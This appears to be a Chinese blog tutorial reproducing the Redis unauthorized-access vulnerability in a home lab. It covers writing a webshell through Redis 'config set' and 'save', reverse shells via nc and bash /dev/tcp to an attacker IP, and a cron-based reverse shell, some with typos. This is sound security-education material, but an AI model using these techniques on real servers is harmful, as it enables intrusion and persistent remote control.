redis未授权访问漏洞
漏洞场景:
Redis 4.x/5.x 未授权访问漏洞:
因配置不当可以未经授权访问,攻击者无需认证就可以访问到内部数据,其漏洞可导致敏感信息泄露,也可以恶意执行flushall来清空所有数据,攻击者还可通过 EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件。如果Redis以root身份运行,可以给root账户写入SSH公钥文件,直接免密码登录服务器。
还能被利用去挖矿。
Redias:
Redis的常见数据类型:
①: String:字符和整型。 缓存、分布式session、分布式锁、全局ID、计数器、限流
②:Hash:哈希表。 存储一个对象、存储一张表的数据、购物车
③:List:有序数组。消息列表、文章列表、评论列表、公告列表、活动列表
④:Set:无序集合。抽奖、点赞、签到打卡、商品标签
⑤:ZSet:有序集合。 排行榜
Redis受众广的原因:
1、数据类型丰富,应用场景广泛
2、纯内存的数据结构,速度快
3、功能特性丰富(持久化、事务、pipeline、多语言支持、集群分布式)
漏洞复现
①. 前期环境准备:
两台linux主机(我用的CentOS7),安装上redis,一台安装用作服务端,一台用作客户端。
最好把防火墙关闭,来复现。
stemctl stop firewalld
下述方法是在直接关闭防火墙不能访问端口7777的情况,一般直接关闭防火墙就可以了
systemctl status firewalld ###查看防火墙的状态
systemctl start firewalld ###启动防火墙
firewall-cmd --zone=public --add-port=7777/tcp --permanent ###在防火墙中添加7777端口,允许访问
firewall-cmd --reload ###重启
systemctl stop firewalld ###关闭防火墙
②. 前期redirs的知识:
一:持久化机制:redis的数据是存内存,所以访问数据快,但是存储在内存中不可靠,一旦断电数据就丢失了,要避免丢失数据采用持久化机制,不定期的将内存中的数据保存在磁盘中。 持久化机制: RDB(Redis DataBases)、AOF(Append Only File) 在redis安装目录下,redis.conf 文件中,找到SNAPSHOTTING 配置,他就是持久化的配置。 配置说明,1:自动刷盘机制,key在900秒内改变1次就执行一次 保存磁盘。 key 在300秒内改变10次就保存在磁盘一次。这些规则不冲突,满足就执行。保存在那个文件中呢? 答:在配置文件中找到dbfilename,默认的是dump.rdb,要想修改,就在配置文件中找到 **dir ./** 换上你要存储文件的完整的路径名。![在这里插入图片描述](https://img-blog.csdnimg.cn/c68d83cd0fc24173b54bd7fe398eb627.jpeg#pic_center)
保存文件
2: 手动刷盘:save 或者 bgsave
示范:
先把dump.rdb清空:
在客户端中将手动刷盘,
再去dump.rdb中查看。可以看到保存上了。
二:动态修改配置
上面提到的,持久化的配置应该要到配置文件中去修改。还能动态修改。 config set (它是不是永久修改,重启以后失效)
config set dir /www/admin/localhost //修改保存的路径名
config set dbfilename redis.php // 修改保存的文件
想一想,利用持久化和动态修改配置是不是就可以任意写入数据到文件中,【连接到redis,写入数据(可以是恶意代码哦),再把保存的文件改变,手动save一下,那就任意写入内容到文件中。】
**③ : 利用redis漏洞,进行webshell提权
(现在站在上帝视角去看)**
在Redis服务器中安装了apache,利用它。
在搭建的时候先查看本机有没有装Apache服务命令 :rpm -qa |grep httpd ,查看系统中已安装的所有apache软件包列表。
有了网站的根目录在:/var/www/html
在客户端连接上redis:
上传了一句话木马,访问一下。(编码格式有问题,不影响)用蚁剑等webshell工具连一下,这就相当于直接连接上服务器了(服务器的防护都关闭了的)
④ 反弹连接(一句话木马容易被删除)
为什么要反弹连接:
- 内网,私有ip(我们的公网IP无法连接)。
- IP地址不固定。
- 6379端口不允许入方向的。
- 一句话木马被杀毒软件删除。
我们攻击机连接不上,没办法连接到靶机, 换个思路,让靶机来向我们的攻击机连接。
如何操作呢?
1.需要一个端口,让靶机来连接。
2.需要监听这个端口,确认它来连接了。如何监听端口呢?? 常用的监听方式:
- netcat(网络攻击界的瑞士军刀):nc -lvp 7777** (-nlvp lvvp) 参数含义监听7777端口并给出详细信息
- msf【kali中自带】
- socat 【kali中】 : socat TCP-LISTEN:7777 -
建立反弹连接: 先监听:nc -lvp 7777 下图是监听到后的了。(攻击机中监听)
方法一:bash反弹(靶机中操作)【后面的方法其实也是基于bash的】输入上面的命令,监听端口会收到的。 这样反弹连接建立了,我们就可以在攻击机中操作靶机的。比如ifconfig,查看的是靶机的网络信息
方法二: python(靶机要有这个环境) 还是监听(攻击机上操作)
反弹连接:
出现图中黑色选定的就反弹连接建立成功了,还是用ifcnfig来测试,是否可以查看靶机IP
方式三: netcat的方式
nc -e /bin/bash 192.168.142.96.222 (在靶机中输入)
效果一样的不截图了方法四:各种语言的代码来建立反弹连接
用法自查方法五:MSF 这个在kali中可以很简单的就使用哦,配合msf监听模块使用
在这个工具MSF中可以生成各种类型语言的payload,
分析bash命令:
反弹连接是如何成立的
- bash -i 打开交互式的终端
& 将标准错误输出合并到标准输出中
- /dec/tcp/192.168.96.222/7777 打开一个设备文件,连接IP端口
- 0>$1 将标准输入重定向到标准输出中 ,这个关键哦,将我们输入的输出到远程主机中。命令执行。
④ Redis写入反弹连接任务
定时任务:定时重启主机,执行任务存储数据等等
定时任务用的表达式 :Cron表达式是一个字符串,该字符串由6个空格分为7个域,每一个域代表一个时间含义。不用记,要用时去查就好了
设置一个定时任务 每过一分钟向 /test.txt 输入hello :
步骤 :
- crontab -e ## 进入定时任务的编辑模式
- */1 * * * * echo “hello”>>/test.txt ## 输入到编辑页面中
- crontab -u root -l ## 看root的任务列表,加入了我们输入的任务
- tail -f /test.txt ## 看现象
定时任务常用命令:
Ⅰ: crontab -u root -r 删除某个用户的任务
Ⅱ:crontab -u root time.cron 把文件添加到某个用户的任务
Ⅲ:crontab -u root -l 列举某个用户的任务
Ⅳ:crontab -u root -e 编辑某个用户的任务
上述是一些基础的定时任务的东西,
要知道Linux一切皆文件,定时任务也是这样的。
/etc/crontab 放的对应周期的任务 hourly(每小时允许的) 、weekly(每周运行的)等
/var/spool/cron 这个文件负责安排由系统管理员制定的维护系统以及其他任务的crontab
现在了解到定时任务了。就可以结合redis建立反弹连接。
步骤:
先在攻击机上监听:
再在攻击机上连接redis服务器,进行渗透。命令上图前的命令,
刷盘后只需要等待监听的结果就行,等待一分钟就能监听到。
redis未授权访问漏洞相关推荐
- Redis未授权访问漏洞记录(端口:6379)
目录 Redis 扫描 未授权登录以及利用 写入SSH公钥,进行远程登录 定时任务反弹shell 写入一句话木马 其它一句话木马 写入/etc/passwd文件 利用主从复制RCE 本地Red ...
- Redis未授权访问漏洞详细版
Redis未授权访问漏洞 Redis未授权访问漏洞原理 Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样 ...
- 漏洞检测与防御:Redis未授权访问漏洞复现
漏洞检测与防御:Redis未授权访问漏洞复现 1. 未授权访问漏洞 未授权访问漏洞可以理解为安全配置.权限认证.授权页面存在缺陷,导致其他用户可以直接访问,从而引发权限可被操作,数据库.网站目录等敏感 ...
- Redis未授权访问漏洞(四)SSH key免密登录
前言 系列文章 Redis未授权访问漏洞(一)先导篇 Redis未授权访问漏洞(二)Webshell提权篇 Redis未授权访问漏洞(三)Redis写入反弹连接定时任务 SSH key免密登录 实战实 ...
- Redis未授权访问漏洞的重现与利用
前言: 最近配置openvas的时候安装了redis,听说曾经曝出过一个未授权访问漏洞,便找了一下相关资料想自己动手复现一下漏洞的利用过程,当然所有的攻击性操作都是在虚拟机上完成的,本文所有的操作是在 ...
- Redis未授权访问漏洞的利用及防护
什么是Redis未授权访问漏洞? Redis在默认情况下,会绑定在0.0.0.0:6379.如果没有采取相关的安全策略,比如添加防火墙规则.避免其他非信任来源IP访问等,这样会使Redis服务完全暴露 ...
- 未授权访问漏洞-Redis未授权访问漏洞
文章目录 未授权概述 常见未授权访问漏洞 Redis未授权访问 Redis简介 应用场景 Redis 架构 漏洞发现 端口 端口探测 Redis常用命令 Redis历史漏洞 Redis未授权访问 Re ...
- 哪种修复redis未授权访问漏洞的方法是相对不安全的_关于Linux挖矿、DDOS等应急事件处置方法...
前言 从去年六月份到现在做的应急响应.事件分析大大小小的做了数百个,主要遇到的有挖矿.DDoS.短信接口盗刷.用户接口泄漏.越权信息获取.挂黑页.删数据等.本文只针对自己做的应急响应中的挖矿和DDoS ...
- Redis 未授权访问漏洞与getshell(附getshell检测工具)
0x00 Redis简介 Redis 简介. Redis 是完全开源免费的,遵守 BSD 协议,是一个灵活的高性能 key-value 数据结构存储,常见用来作为数据库,其在安全配置问题上存在一些问题 ...
- Redis未授权访问漏洞复现
Redis介绍 redis是一个key-value存储系统.和Memcached类似,它支持存储的value类型相对更多,包括string(字符串).list(链表).set(集合).zset(sor ...
最新文章
- 2.5 导数-深度学习-Stanford吴恩达教授
- eslint git提交不上_Git常用命令及日常问题集锦
- Java加密与解密的艺术~AES-GCM-NoPadding实现
- centos7 配置http服务器
- Android笔记 notification
- MyBatis框架笔记02:接口方式使用MyBatis
- Python 三元表达式、列表推导式、生成器表达式
- 学习ASP.NET Core Razor 编程系列六——数据库初始化
- Python适合初学者入门
- 圆为什么有360度?
- PL/SQL Developer使用技巧、快捷键(转发)
- Unix C编程:共享内存示例 测试代码
- MyBatis官方文档——Java API部分
- 使用NSSM配置守护进程 Nginx(Windows)
- Rapid miner
- 第八篇,滤波:二阶低通滤波、卡尔曼滤波
- 乐高凯德机器人_乐高机器人体验课
- matlab set函数
- postgres查询序列_PostgreSQL 序列使用
- 为什么说社群团购时代来临了?
热门文章
- 吉他调音软件 android,吉他调音器专业版
- 基于情感词典的文本情感分类
- 查看本地硬盘raid级别linux,linux 下查看硬盘型号、大小等信息(含Raid)
- (笔试题)风口的猪-中国牛市
- 优秀课程案例:使用Scratch制作打弹球游戏3-过关增强版
- 艾奇android视频格式转换器,艾奇全能视频格式转换器
- 安卓模拟经营类游戏_十大最诱人手机模拟经营类游戏专题
- Learning ImageMagick 1: Lomo效果
- 第三方支付架构设计之:自有账户支付(六)
- RGGEDU-Rob Grimm静物食物美食菜谱摄影技巧与后期-中文字幕